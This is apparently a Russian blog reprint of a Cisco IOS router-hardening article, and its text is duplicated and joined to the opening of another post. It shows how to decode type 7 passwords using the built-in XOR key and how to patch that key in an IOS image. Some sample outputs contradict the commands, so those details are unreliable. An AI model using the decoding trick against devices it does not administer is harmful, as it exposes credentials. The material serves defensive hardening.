Written Kb38267 to c3725-adventerprisek9-mz.124-18.bin.zip
uzip c3725-adventerprisek9-mz.124-18.bin.zip
Archive: c3725-adventerprisek9-mz.124-18.bin.zip
inflating: C3725-AD.BIN
All done!
Полученный распакованный образ я модифицировал в шестнадцатеричном редакторе biew, заменив строку:
dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;f g87
на строку:
shados.oA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;f g87
После этого проведем тест. Загружаем модифицированный образ в эмулятор:
dynamips -P 3725 C3725-AD.bin
После загрузки, отменяем вход в режим начальной конфигурации, включим сервис шифрования паролей и создадим пользователя с паролем «notracable»:
Router(config)#service password-encryption
Router(config)#username shados password notcracable
Теперь выполним команду show и выведем нашу строку:
Router(config)#do show run | include username
username test password 7 04011C120c334d4d0218071B17
Полученную строку попытаемся расшифровать в хорошо известной утилите Cain&Able (www.oxid.it). Результат можно видеть на скриншоте. Как видим, исходный пароль и расшифрованный отличают — трюк сработал. Образ, загруженный в эмулятор оттестирован и готов к использованию на реальном маршрутизаторе после переупаковки:
./ciscopack.pl --pack c3725-adventerprisek9-mz.124-18.bin --head c3725-adventerprisek9-mz.124-18.bin.head —body С3725-AD.bin
Пожалуй, на этом с собственно паролями закончим и перейдем к авторизации. Естественно, для настройки авторизации будем использовать наиболее современные методы, такие как модульный фреймворк AAA (Authentication, Authorization, Accounting). Для настройки этого сервиса требуется выполнить всего несколько простых действий:
1.Включить использование AAA посредством команды глобальной конфигурации
aaa new-model
2. Если принято решение использовать внешний сервер безопасности, следует на стоить параметры работы его протокола (например, RADIUS, TACACS+, Kerberos)
3.Определить списки методов аутентификации
4.Применить созданный список для конкретного интерфейса или линии
5.Если требуется — настроить авторизацию и аккаунтинг.
В качестве примера настроим аутентификацию посредством TACACS+. Если по TACACS+ аутентифицироваться не удастся — переходим к локальной аутентификации:
Router(config)#aaa new-model
Router(config)#aaa authentication login default group tacacs+ local-case
Router(config)#aaa authentication enable default group tacacs+ enable
Router(config)#aaa authorization commands 15 default group tacacs+ local
Router(config)#aaa accounting exec default stop-only group tacacs+
Router(config)#aaa accounting commands 15 default stop-only group tacacs+
Router(config)#aaa accounting network default stop-only group tacacs+
Router(config)#tacacs-server host 172.16.1.100
Router(config)#tacacs-server key cisco
Так, например, если аутентифицироваться для удаленного входа в exec режим через TACACS+ сервер не удастся (сервер недоступен), мы попытаемся аутентифицироваться в локальной базе пользователей:
username secret
Логично, что для большей защищенности стоит использовать символы разных регистров — это значительно усложнит жизнь переборщикам паролей.
Помимо всего прочего хорошей идеей будет изменить стандартное приглашение ввода имени пользователя и пароля. Пусть, допустим, оно будет сходно приглашению Linux:
Router(config)#aaa authentication password-prompt "password: "
Router(config)#aaa authentication username-prompt "login as: "
Такой трюк как минимум запутает взломщика, привыкшего видеть стандартное приглашение маршрутизатора.
2. Перейдем ко второму пункту наших действий — ограничение удаленного доступа. Конечно, чаще всего на маршрутизатор оператору или сетевому администратору придется получать доступ через удаленный терминал. Отсюда следует простая мысль, что этот же путь попытается проследовать взломщик (лицо, осуществляющее несанкционированное вторжение; пожалуй, здесь я сделаю небольшое лирическое отступление и позволю себе заметить, что намеренно не ассоциирую взломщика с хакером по известным этическим причинам и соображениям). Общая схема такова — доступ к консоли ограничиваем таймаутом в 15 минут, доступ через порт AUX отключаем полностью, доступ к виртуальному терминалу ограничиваем стандартным списком доступа, в качестве транспорта используем протокол ssh и также ограничиваем сессию таймаутом в 15 минут. Стандартный список доступа разрешает доступ только с двух доверенных машин, все остальные запросы фильтруются. Будем использовать протокол SSH версии 2 ввиду его большей безопасности, ограничим таймаутом и включим его журналирование. Ниже привожу вырезку из конфигурации устройства:
!
ip ssh time-out 15
ip ssh logging events
ip ssh version 2
!
!
access-list 100 permit 172.16.1.100
access-list 100 permit 172.17.1.200
access-list 100 deny any
!
line con 0
exec-timeout 15 0
line aux 0
exec-timeout 0 0
no exec
transport input none
line vty 0 4
access-class 100 in
exec-timeout 15 0
transport input ssh
!
Позволю себе напомнить читателю, что для того, чтобы использовать протокол SSH необходимо задать домен маршрутизатора и имя хоста, а затем сгенерировать RSA ключи достаточной длинны (автор всегда выбирает максимально доступную длину, в частности 2048):
Router(config)#ip domain name something.ru
Router(config)#crypto key generate rsa
Интересен один момент — в фильтрации удаленного доступа тоже есть место для трюка. В документации по операционной системе IOS 12.4 нет упоминания о том, что помимо стандартных списков доступа можно использовать еще и именованные. Грех этим не воспользоваться в своих целях. Хорошим примером применения этого функционала можно считать разрешение доступа по протоколу telnet из внутренней сети технических специалистов, а доступ с внешних адресов разрешить по протоколу ssh. Кроме этого, именованные списки доступа позволяют вести журналирование запросов. Ниже приведу пример, из которого станет все понятно:
!
ip access-list extended TerminalAccess
permit tcp 172.16.1.0 0.0.0.255 any eq telnet log
permit tcp any any eq 22 log
deny tcp any any log
!
line vty 0 4
access-class TerminalAccess in
transport input telnet ssh
Завершающим аккордом второго этапа будет настройка задержки между повторными вводами учетныйх данных:
Router(config)#login delay 5
Router(config)#login block-for 60 attempts 3 within 30
Первой командой мы устанавливаем задержку между повторными вводами равной пяти секундам. Второй командой устанавливаем блокировку на 60 секунд в случае трех неудачных попыток ввода имени пользователя/пароля в течение 30 секунд.
3. Третий этап наших действий по защите состоит в отключении всех ненужных и небезопасных служб маршрутизатора. На мой взгляд этот этап является наиболее простым и наименее творческим.
Командой глобальной конфигурации отключаем использование протокола CDP (Cisco Discovery Protocol). Это защитит наш маршрутизатор от раскрытия критичных данных о платформе, версии и т.п.
Router(config)#no cdp running
Проверим, отключены ли простые службы, аналогичные службам inetd типа chargen:
Router(config)#no service tcp-small-servers
Router(config)#no service udp-small-servers
Включим службы keep-alive, чтобы защититься от возможного перехвата, например, сессии telnet:
Router(config)#service tcp-keepalives-in
Router(config)#service tcp-keepalives-out
Отключим доспуп к маршрутизатору по протоколам http и https, так как все основные задачи по конфигурированию маршрутизатора будем выполнять через командную оболочку:
Router(config)#no ip http server
Router(config)#no ip http secure-server
Если не планируется использовать протокол динамического присвоения IP-адресов, отключим его:
Router(config)#no service dhcp
Маршрутизацию от источника, резолвинг DNS-имен, finger и тому подобные службы, необходимость которых сомнительна, либо если служба является потенциально небезопасной также отключаем:
Router(config)#no ip source-route
Router(config)#no ip finger
Router(config)#no ip bootp server
Router(config)#no ip domain-lookup
Скорее всего для журналирования потребуется использовать централизованную синхронизацию времени с NTP- сервером (Network Time Protocol)*. Выставляем правильную временную зону, соответствующую нашему расположению, назначаем ключ аутентификации для сервера и, собственно, указываем сам сервер:
Router(config)#clock timezone GMT 3
Router(config)#ntp authenticate
Router(config)#ntp authentication-key 1 md5 <ключ>
Router(config)#ntp server 172.16.1.100
Завершающей частью этого пункта включим автоматическую проверку целостности образа операционной системы IOS, который может быть как поврежден во время передачи, так и модифицирован злонамеренно с целью внедрения рукткита:
Router(config)#file verify auto
Пример работы службы контроля целостности:
Verifying file integrity of flash:c2600-ipbasek9-mz.124-17.bin............................................ .................................................. ............................Done!
Embedded Hash MD5 : 5DB1422925E26D7AEAB3DB9AF919AF83
Computed Hash MD5 : 5DB1422925E26D7AEAB3DB9AF919AF83
CCO Hash MD5 : EB9561C52A02E1DECD8490ED2935B5E9
Signature Verified
Verified flash:c2600-ipbasek9-mz.124-17.bin
4. Атаки на SNMP, пожалуй, являются одними из опаснейших, поэтому защите SNMP-агента маршрутизатора следует уделить пристальное внимание. Основной вектор атак на SNMP в случае маршрутизатора Cisco под управлением операционной системы IOS является получение конфигурации через CISCO-CONFIG-COPY-MIB. Атака может быть успешно проведена только в случае наличия строки community, доступной на запись. Маршрутизаторы Cisco под управлением IOS 12.4 поддерживают 3 основных модели SNMP — v1, v2c и v3. Соответственно каждая из моделей обеспечивает свой уровень защищенности, однако выбор ее зависит, в основном, от используемой системы мониторинга, а точнее от ее совместимости с используемой моделью безопасности. Естественно, для наибольшей безопасности рекомендуется использовать наиболее совершенную модель SNMPv3, отличающуюся наличием аутентификации по MD5 и SHA-ключам, 56-ти битным шифрованием данных по алгоритму DES, а также разграничением политик доступа пользователей по группам. Приведу пример настройки:
Router(config)#snmp-server group netadmins v3 priv
Router(config)#snmp-server user operator netadmins v3 auth md5 AuthPassw0rd priv des56 EncryptionPassw0rd
Первой командой мы создаем группу «netadmins» и указываем, что каждый пакет необходимо аутентифицировать и шифровать. Следует заметить, что одна из самых распространенных систем мониторинга Cacti умеет работать только с группами, опция которых установлена в auth. Второй командой мы создаем пользователя «operator», входящего в группу «netadmins», и указываем что аутентифицироваться он будет по md5-паролю, а шифрование данных будет происходить по протоколу DES. Для проверки работоспособности воспользуемся утилитой snmpwalk, где 172.16.1.1 — ip-адрес маршрутизатора:
snmpwalk -v 3 -u operator -A AuthPassw0rd -x DES -X EncryptionPassw0rd -l AuthPriv 172.16.1.1
Для большей защищенности можно определить список доступа, ограничивающий доступ к внешним серверам tftp, ftp, sftp и т.д.:
!
access-list 100 permit 172.16.1.100
access-list 100 permit 172.17.1.200
access-list 100 deny any
!
snmp-server file-transfer access-group 100
На этом, пожалуй, настройку протокола SNMP закончим и перейдем к настройке журналирования.
Для начала определим, в каком формате будут записываться временные отметки в журнале. По умолчанию маршрутизатор заносит в журнал записи с временной отметкой uptime. Чтобы изменить это поведение на стандартный формат date/time, необходимо выполнить следующую настройку:
Router(config)#service timestamps debug datetime localtime
Router(config)#service timestamps log datetime localtime
Затем определим размер буфера для журнала и уровень важности событий (severity), которые будут заноситься в журнал и отключим вывод системных сообщений на консоль, чтобы не перегружать маршрутизатор:
Router(config)#logging buffered 8128 debugging
Router(config)#no logging console
Затем укажем в конфигурации, что нам требуется заносить в журнал события в случае если аутентификации пользователя была успешной или произошла ошибка ввода логина/пароля:
Router(config)#login on-failure log
Router(config)#login on-success log
Изменение уровня привелегий пользователя также будем журналирвать:
Router(config)#logging userinfo
Пример вывода сообщений журнала:
Router>enable
Password:
*Mar 1 10:41:18: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 15 by admin on console
Router#disable
*Mar 1 10:41:19: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 1 by admin on console
Неоспоримый интерес для выяснения причин возможных проблем в случае ошибочной настройки представляет ведение истории команд режима конфигурации:
!
archive
log config
logging enable
notify syslog
hidekeys
!
Пример вывода сообщений журнала:
*Mar 1 10:41:24: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin logged command:!exec: enable
*Mar 1 10:44:32: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin logged command:arp 172.16.1.110 abcd.1234.8765 arpa
И последним шагом настройки укажем syslog-сервер, на который будем отправлять сообщения. В качестве транспортного протокола для наибольшей надежности соединения и гарантии доставки сообщений будем использовать TCP. Естественно, syslog-сервер должен поддерживать работу по протоколу TCP. Примером может служить syslog-ng:
Router(config)#logging host 172.16.1.155 transport tcp port 514
Итак, подводя некоторые итоги мы выполнили часть работы по настройке самого маршрутизатора, настроив безопасную работу его служб, обеспечили журналирование важных системных событий, ограничили удаленный доступ к маршрутизатору и задали надежные пароли доступа. В следующей части статьи мы перейдем к настройке безопасного межсетевого взаимодействия, защите от DDoS-атак, предотвращению паразитного трафика, а также к защите от злонамеренного контента и вирусов, в общем говоря ко всему, что связанно с фильтрацией и файрволлингом трафика, проходящего через маршрутизатор.
Ссылки:
Cisco IOS Security Configuration Guide (www.cisco.com)
Configuring Secure Shell on Routers and Switches Running Cisco IOS (www.cisco.com)
Network Management System: Best Practices: White Paper (www.cisco.com)
Cisco IOS hints and tricks (ioshints.blogspot.com)
Cisco IOS from an Attacker's Point of View (www.hakin9.org)
Building Bastion Routers Using Cisco IOS (Phrack Magazine #55)
Укрощение дикой киски, или сливаем пароли чемоданами (журнал Xakep #109)
Хотелось бы сразу сказать, что данная статья не претендует на какую-либо уникальность и новизну. Я лишь еще раз повторю то, что говорили уже много раз, однако постараюсь привнести в это сказанное некую изюминку. Проще говоря статья повествует о том, как защищает свои маршрутизаторы автор. Статья рассчитана на человека, который знаком с операционной системой IOS маршрутизаторов Cisco и имеет базовые представления о принципах коммутации, маршрутизации и сетевых протоколах. В основном я буду рассматривать IOS версии 12.4 с функционалом advansed IP services, однако с большой долей вероятности все нижесказанное может быть применено к более старым операционным системам.
0. О том, как надо защищаться.
Основным принципом защиты маршрутизатора является запрет всего, кроме того, что разрешено. Помимо этого хорошей идеей является запрет того функционала, который будет использоваться редко, не имеет смысла в использовании или назначение которого нам не совсем ясно. Конечно, последний пункт должен быть исключением, так как мы всегда можем ознакомиться с огромным набором документации.
И так, план действий защиты таков:
1.Настройка аутентификации и паролей
2.Ограничение доступа к маршрутизатору
3.Отключение лишних служб и включение дополнительных
4.Настройка SNMP
5.Настройка журналирования
1.Операционная система Cisco IOS во многом очень схожа с большинством операцион6ных систем семейства UNIX. Как и в *nix-системах все основные операции по настройке и работе с маршрутизатором происходят посредством взаимодействия с командной оболочкой (CLI). Доступ к командной оболочке можно получить через удаленный терминал (vty), консольный порт (con), либо через модем на порту aux. Чаще всего весь процесс взаимодействия с маршрутизатором происходит через удаленный терминал. Консольный порт применяется лишь в экстренных случаях или в случае острой паранойи. Если маршрутизатор установлен на чужой территории, например вы арендуете место в шкафу, то можно отключить консоль и аuх порты, чтобы предотвратить физический доступ к маршрутизатору. Однако вам тогда будет сложнее самим зайти на него в случае потери удаленного управления. Модем часто применяется как резервный канал доступа к маршрутизатору, но в последнее время его применяют все реже. Существуют два основных режима, в котором можно работать с командной оболочкой: непривилегированный режим (EXEC level) и привилегированный режим (privileged EXEC level). Привилегированный режим позволяет изменять настройки маршрутизатора в режиме конфигурации. По большому счету это очень напоминает непривилегированного пользователя и root. Примерно как обычный пользователь *nix системы использует команду su для авторизации исполнения команд с правами root, в IOS используется команда enable. Всего в IOS доступны 15 уровней приоритетов. Привилегированный режим обычно имеет уровень приоритета 15, в то время как обычный пользователь в непривилегированном режиме имеет уровень 1. Кроме того администратор может задать определенный набор команд, доступный для пользователя в соответствии с его режимом приоритета, например так:
!
enable secret level 4 5 $1$6Dr/$vVMNdSKUfSkF.o9IMasrt1
!
privilege exec level 4 traceroute
privilege exec level 4 ping
privilege exec level 4 clear
privilege exec level 4 show configuration
!
Пароли в конфигурации маршрутизатора могут быть нескольких типов:
- обычные открытые (plain-text) пароли
- type 7 пароли
- type 5 пароли
По-умолчанию в конфигурации маршрутизатора пароли хранятся в открытом тексте и любой, кто имеет доступ к привилегированному режиму командной оболочки или к самому файлу конфигурации может увидеть их просматривая show running-config или show startup-config. Избежать этого можно с помощью кодирования паролей командой
service password-encryption
После применения этой команды все plain-text пароли в конфигурации заменяются на так называемые type 7 пароли, которые представляют из себя набор цифр и заглавных букв от A до F. Хотя формально эти пароли и зашифрованы, назвать шифрованием такой метод сложно так как основан он на применении XOR-подобной функции с ключом
dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;f g87
Существует множество утилит для расшифровки type 7 паролей, множество из которых доступно на packetstormsecurity.org и ему подобных сайтах. С таким же успехом пароль может быть раскодирован на самом маршрутизаторе с помощью нехитрой последовательности действий. Для начала включим режим шифрования plain-text паролей и добавим некого тестового пользователя с паролем «passw0rd»:
Router(config)#service password-encryption
Router(config)#username test password passw0rd
Теперь выполним команду show и выведем нашу строку:
Router(config)#do show run | include username
username test password 7 044B0A151C361C5C0D
Затем создадим цепочку ключей и введем type-7 пароль как ключевую строку для него:
Router(config)#key chain decrypt
Router(config-keychain)#key 0
Router(config-keychain-key)#key-string 7 044B0A151C361C5C0D
А теперь с помощью show выведем расшифрованную строку:
Router(config-keychain-key)#do show key chain decrypt
Key-chain decrypt:
****key 1 -- text "passw0rd"
********accept lifetime (always valid) - (always valid) [valid now]
********send lifetime (always valid) - (always valid) [valid now]
Как видим, безопасность type 7 паролей оставляет желать лучшего. Выхода может быть два — один из них оригинальный и нестандартный, другой — соответственно полная его противоположность. В качестве последнего можно использовать type 5 (или так называемые secret) пароли, которые переставляют из себя md5-хеши. Как известно, при достаточной длине пароля взломщик встретится с трудно решаемой вычислительной задачей, чего, в принципе, должно быть достаточно для защиты. Примером type 5 может служить пароль на режим enable:
enable secret 5 $1$3ORt$Pf.hrk2RehgDs3w7L5ER/0
Брать в рассмотрение первый способ рекомендую только в крайнем случае (например, выраженное проявление паранойи). Заключается он в модификации бинарного образа операционной системы маршрутизатора и изменении вышеупомянутого ключа шифрования. Не вдаваясь в подробности, скажу лишь что образ IOS представляет собой запакованный в слегка модифицированный zip-архив бинарный ELF-файл, который очень похож на ядро Linux и других подобных операционных систем. Строка шифрования представлена в нем в открытом виде и для ее модификации можно воспользоваться любым шестнадцатеричным редактором. Единственную проблему может представлять специальное поле контрольной суммы образа, которое необходимо будет переписать после изменения ключа и перепаковки образа. Как для распаковки, так и для корректной упаковки с подсчетом контрольной суммы можно использовать утилиту ciscopack от создателей книги «Hacking Exposed Cisco Networks». Скачать ее можно здесь: http://www.hackingciscoexposed.com/t...scopack.tar.gz.
Пример использования:
usage: ./ciscopack.pl [--unpack=imagename ]
Options:
--upack Upack cisco IOS
--pack Pack new imagename
--head Head (Self extractor) to pack
--body Body (IOS body) to pack
--readheader Read the file header
--help This message
Естественно, проводить эксперименты рекомендуется не на используемом в активном сетевом взаимодействии маршрутизаторе, так как последствия неправильной модификации могут быть катастрофическими. В своих исследованиях я использовал эмулятор dynamips для запуска образов операционной системы IOS платформы 3725 (c3725-adventerprisek9-mz.124-18.bin) и шестнадцатеричный редактор biew для модификации образа IOS.
ciscopack.pl --unpack c3725-adventerprisek9-mz.124-18.bin --head c3725-adventerprisek9-mz.124-18.bin.head
ciscopack.pl, , V 0.1
Unpacking image: c3725-adventerprisek9-mz.124-18.bin
Written 7078 byte to c3725-adventerprisek9-mz.124-18.bin.head
Magic is found, reading the archive info
Compressed size:81980888 byte. Compressed size:39184467 byte
Compressed checksum: 0xb1dff6e0 Uncompressed checksum: 0x26adfdf2
Written Kb38267 to c3725-adventerprisek9-mz.124-18.bin.zip
uzip c3725-adventerprisek9-mz.124-18.bin.zip
Archive: c3725-adventerprisek9-mz.124-18.bin.zip
inflating: C3725-AD.BIN
All done!
Полученный распакованный образ я модифицировал в шестнадцатеричном редакторе biew, заменив строку:
dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;f g87
на строку:
shados.oA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;f g87
После этого проведем тест. Загружаем модифицированный образ в эмулятор:
dynamips -P 3725 C3725-AD.bin
После загрузки, отменяем вход в режим начальной конфигурации, включим сервис шифрования паролей и создадим пользователя с паролем «notracable»:
Router(config)#service password-encryption
Router(config)#username shados password notcracable
Теперь выполним команду show и выведем нашу строку:
Router(config)#do show run | include username
username test password 7 04011C120c334d4d0218071B17
Полученную строку попытаемся расшифровать в хорошо известной утилите Cain&Able (www.oxid.it). Результат можно видеть на скриншоте. Как видим, исходный пароль и расшифрованный отличают — трюк сработал. Образ, загруженный в эмулятор оттестирован и готов к использованию на реальном маршрутизаторе после переупаковки:
./ciscopack.pl --pack c3725-adventerprisek9-mz.124-18.bin --head c3725-adventerprisek9-mz.124-18.bin.head —body С3725-AD.bin
Пожалуй, на этом с собственно паролями закончим и перейдем к авторизации. Естественно, для настройки авторизации будем использовать наиболее современные методы, такие как модульный фреймворк AAA (Authentication, Authorization, Accounting). Для настройки этого сервиса требуется выполнить всего несколько простых действий:
1.Включить использование AAA посредством команды глобальной конфигурации
aaa new-model
2. Если принято решение использовать внешний сервер безопасности, следует на стоить параметры работы его протокола (например, RADIUS, TACACS+, Kerberos)
3.Определить списки методов аутентификации
4.Применить созданный список для конкретного интерфейса или линии
5.Если требуется — настроить авторизацию и аккаунтинг.
В качестве примера настроим аутентификацию посредством TACACS+. Если по TACACS+ аутентифицироваться не удастся — переходим к локальной аутентификации:
Router(config)#aaa new-model
Router(config)#aaa authentication login default group tacacs+ local-case
Router(config)#aaa authentication enable default group tacacs+ enable
Router(config)#aaa authorization commands 15 default group tacacs+ local
Router(config)#aaa accounting exec default stop-only group tacacs+
Router(config)#aaa accounting commands 15 default stop-only group tacacs+
Router(config)#aaa accounting network default stop-only group tacacs+
Router(config)#tacacs-server host 172.16.1.100
Router(config)#tacacs-server key cisco
Так, например, если аутентифицироваться для удаленного входа в exec режим через TACACS+ сервер не удастся (сервер недоступен), мы попытаемся аутентифицироваться в локальной базе пользователей:
username
Логично, что для большей защищенности стоит использовать символы разных регистров — это значительно усложнит жизнь переборщикам паролей.
Помимо всего прочего хорошей идеей будет изменить стандартное приглашение ввода имени пользователя и пароля. Пусть, допустим, оно будет сходно приглашению Linux:
Router(config)#aaa authentication password-prompt "password: "
Router(config)#aaa authentication username-prompt "login as: "
Такой трюк как минимум запутает взломщика, привыкшего видеть стандартное приглашение маршрутизатора.
2. Перейдем ко второму пункту наших действий — ограничение удаленного доступа. Конечно, чаще всего на маршрутизатор оператору или сетевому администратору придется получать доступ через удаленный терминал. Отсюда следует простая мысль, что этот же путь попытается проследовать взломщик (лицо, осуществляющее несанкционированное вторжение; пожалуй, здесь я сделаю небольшое лирическое отступление и позволю себе заметить, что намеренно не ассоциирую взломщика с хакером по известным этическим причинам и соображениям). Общая схема такова — доступ к консоли ограничиваем таймаутом в 15 минут, доступ через порт AUX отключаем полностью, доступ к виртуальному терминалу ограничиваем стандартным списком доступа, в качестве транспорта используем протокол ssh и также ограничиваем сессию таймаутом в 15 минут. Стандартный список доступа разрешает доступ только с двух доверенных машин, все остальные запросы фильтруются. Будем использовать протокол SSH версии 2 ввиду его большей безопасности, ограничим таймаутом и включим его журналирование. Ниже привожу вырезку из конфигурации устройства:
!
ip ssh time-out 15
ip ssh logging events
ip ssh version 2
!
!
access-list 100 permit 172.16.1.100
access-list 100 permit 172.17.1.200
access-list 100 deny any
!
line con 0
exec-timeout 15 0
line aux 0
exec-timeout 0 0
no exec
transport input none
line vty 0 4
access-class 100 in
exec-timeout 15 0
transport input ssh
!
Позволю себе напомнить читателю, что для того, чтобы использовать протокол SSH необходимо задать домен маршрутизатора и имя хоста, а затем сгенерировать RSA ключи достаточной длинны (автор всегда выбирает максимально доступную длину, в частности 2048):
Router(config)#ip domain name something.ru
Router(config)#crypto key generate rsa
Интересен один момент — в фильтрации удаленного доступа тоже есть место для трюка. В документации по операционной системе IOS 12.4 нет упоминания о том, что помимо стандартных списков доступа можно использовать еще и именованные. Грех этим не воспользоваться в своих целях. Хорошим примером применения этого функционала можно считать разрешение доступа по протоколу telnet из внутренней сети технических специалистов, а доступ с внешних адресов разрешить по протоколу ssh. Кроме этого, именованные списки доступа позволяют вести журналирование запросов. Ниже приведу пример, из которого станет все понятно:
!
ip access-list extended TerminalAccess
permit tcp 172.16.1.0 0.0.0.255 any eq telnet log
permit tcp any any eq 22 log
deny tcp any any log
!
line vty 0 4
access-class TerminalAccess in
transport input telnet ssh
Завершающим аккордом второго этапа будет настройка задержки между повторными вводами учетныйх данных:
Router(config)#login delay 5
Router(config)#login block-for 60 attempts 3 within 30
Первой командой мы устанавливаем задержку между повторными вводами равной пяти секундам. Второй командой устанавливаем блокировку на 60 секунд в случае трех неудачных попыток ввода имени пользователя/пароля в течение 30 секунд.
3. Третий этап наших действий по защите состоит в отключении всех ненужных и небезопасных служб маршрутизатора. На мой взгляд этот этап является наиболее простым и наименее творческим.
Командой глобальной конфигурации отключаем использование протокола CDP (Cisco Discovery Protocol). Это защитит наш маршрутизатор от раскрытия критичных данных о платформе, версии и т.п.
Router(config)#no cdp running
Проверим, отключены ли простые службы, аналогичные службам inetd типа chargen:
Router(config)#no service tcp-small-servers
Router(config)#no service udp-small-servers
Включим службы keep-alive, чтобы защититься от возможного перехвата, например, сессии telnet:
Router(config)#service tcp-keepalives-in
Router(config)#service tcp-keepalives-out
Отключим доспуп к маршрутизатору по протоколам http и https, так как все основные задачи по конфигурированию маршрутизатора будем выполнять через командную оболочку:
Router(config)#no ip http server
Router(config)#no ip http secure-server
Если не планируется использовать протокол динамического присвоения IP-адресов, отключим его:
Router(config)#no service dhcp
Маршрутизацию от источника, резолвинг DNS-имен, finger и тому подобные службы, необходимость которых сомнительна, либо если служба является потенциально небезопасной также отключаем:
Router(config)#no ip source-route
Router(config)#no ip finger
Router(config)#no ip bootp server
Router(config)#no ip domain-lookup
Скорее всего для журналирования потребуется использовать централизованную синхронизацию времени с NTP- сервером (Network Time Protocol)*. Выставляем правильную временную зону, соответствующую нашему расположению, назначаем ключ аутентификации для сервера и, собственно, указываем сам сервер:
Router(config)#clock timezone GMT 3
Router(config)#ntp authenticate
Router(config)#ntp authentication-key 1 md5 <ключ>
Router(config)#ntp server 172.16.1.100
Завершающей частью этого пункта включим автоматическую проверку целостности образа операционной системы IOS, который может быть как поврежден во время передачи, так и модифицирован злонамеренно с целью внедрения рукткита:
Router(config)#file verify auto
Пример работы службы контроля целостности:
Verifying file integrity of flash:c2600-ipbasek9-mz.124-17.bin............................................ .................................................. ............................Done!
Embedded Hash MD5 : 5DB1422925E26D7AEAB3DB9AF919AF83
Computed Hash MD5 : 5DB1422925E26D7AEAB3DB9AF919AF83
CCO Hash MD5 : EB9561C52A02E1DECD8490ED2935B5E9
Signature Verified
Verified flash:c2600-ipbasek9-mz.124-17.bin
Router(config)#snmp-server group netadmins v3 priv
Router(config)#snmp-server user operator netadmins v3 auth md5 AuthPassw0rd priv des56 EncryptionPassw0rd
Первой командой мы создаем группу «netadmins» и указываем, что каждый пакет необходимо аутентифицировать и шифровать. Следует заметить, что одна из самых распространенных систем мониторинга Cacti умеет работать только с группами, опция которых установлена в auth. Второй командой мы создаем пользователя «operator», входящего в группу «netadmins», и указываем что аутентифицироваться он будет по md5-паролю, а шифрование данных будет происходить по протоколу DES. Для проверки работоспособности воспользуемся утилитой snmpwalk, где 172.16.1.1 — ip-адрес маршрутизатора:
snmpwalk -v 3 -u operator -A AuthPassw0rd -x DES -X EncryptionPassw0rd -l AuthPriv 172.16.1.1
Для большей защищенности можно определить список доступа, ограничивающий доступ к внешним серверам tftp, ftp, sftp и т.д.:
!
access-list 100 permit 172.16.1.100
access-list 100 permit 172.17.1.200
access-list 100 deny any
!
snmp-server file-transfer access-group 100
На этом, пожалуй, настройку протокола SNMP закончим и перейдем к настройке журналирования.
Для начала определим, в каком формате будут записываться временные отметки в журнале. По умолчанию маршрутизатор заносит в журнал записи с временной отметкой uptime. Чтобы изменить это поведение на стандартный формат date/time, необходимо выполнить следующую настройку:
Router(config)#service timestamps debug datetime localtime
Router(config)#service timestamps log datetime localtime
Затем определим размер буфера для журнала и уровень важности событий (severity), которые будут заноситься в журнал и отключим вывод системных сообщений на консоль, чтобы не перегружать маршрутизатор:
Router(config)#logging buffered 8128 debugging
Router(config)#no logging console
Затем укажем в конфигурации, что нам требуется заносить в журнал события в случае если аутентификации пользователя была успешной или произошла ошибка ввода логина/пароля:
Router(config)#login on-failure log
Router(config)#login on-success log
Изменение уровня привелегий пользователя также будем журналирвать:
Router(config)#logging userinfo
Пример вывода сообщений журнала:
Router>enable
Password:
*Mar 1 10:41:18: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 15 by admin on console
Router#disable
*Mar 1 10:41:19: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 1 by admin on console
Неоспоримый интерес для выяснения причин возможных проблем в случае ошибочной настройки представляет ведение истории команд режима конфигурации:
!
archive
log config
logging enable
notify syslog
hidekeys
!
Пример вывода сообщений журнала:
*Mar 1 10:41:24: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin logged command:!exec: enable
*Mar 1 10:44:32: %PARSER-5-CFGLOG_LOGGEDCMD: User:admin logged command:arp 172.16.1.110 abcd.1234.8765 arpa
И последним шагом настройки укажем syslog-сервер, на который будем отправлять сообщения. В качестве транспортного протокола для наибольшей надежности соединения и гарантии доставки сообщений будем использовать TCP. Естественно, syslog-сервер должен поддерживать работу по протоколу TCP. Примером может служить syslog-ng:
Router(config)#logging host 172.16.1.155 transport tcp port 514
Итак, подводя некоторые итоги мы выполнили часть работы по настройке самого маршрутизатора, настроив безопасную работу его служб, обеспечили журналирование важных системных событий, ограничили удаленный доступ к маршрутизатору и задали надежные пароли доступа. В следующей части статьи мы перейдем к настройке безопасного межсетевого взаимодействия, защите от DDoS-атак, предотвращению паразитного трафика, а также к защите от злонамеренного контента и вирусов, в общем говоря ко всему, что связанно с фильтрацией и файрволлингом трафика, проходящего через маршрутизатор.
Ссылки:
Cisco IOS Security Configuration Guide (www.cisco.com)
Configuring Secure Shell on Routers and Switches Running Cisco IOS (www.cisco.com)
Network Management System: Best Practices: White Paper (www.cisco.com)
Cisco IOS hints and tricks (ioshints.blogspot.com)
Cisco IOS from an Attacker's Point of View (www.hakin9.org)
Building Bastion Routers Using Cisco IOS (Phrack Magazine #55)
Укрощение дикой киски, или сливаем пароли чемоданами (журнал Xakep #109)
вторник, 6 января 2009 г.
Укрощение дикой кошки v2.0
Статья была опубликована в журнале "Хакер", номер #109
Маршрутизаторы фирмы Cisco Systemsявляются тем, из чего в большинстве своем состоит железная основа сети Интернет сегодня. Их стабильное функционирование является залогом работоспособности Глобальной Сети и потому любая критическая ошибка в их операционной системе может поставить под угрозу работоспособность и связность целых сегментов Интернета.
К счастью (а может и к сожалению), в последнее время критических ошибок в операционной системе маршрутизаторов Cisco- IOS стали находить все меньше(или мне это только кажется? =)), но багов в голове сетевых администраторов от этого, похоже, меньше ничуть не становится. На просторах Дикого Дикого Веба все еще можно встретить роутеры, доступ к которым осуществляется по Telnet, SNMP-communityмаршрутизаторов назначены имена public или private, да еще и списки доступа ни для терминалов, ни для SNMP-сервера не настроены вообще.
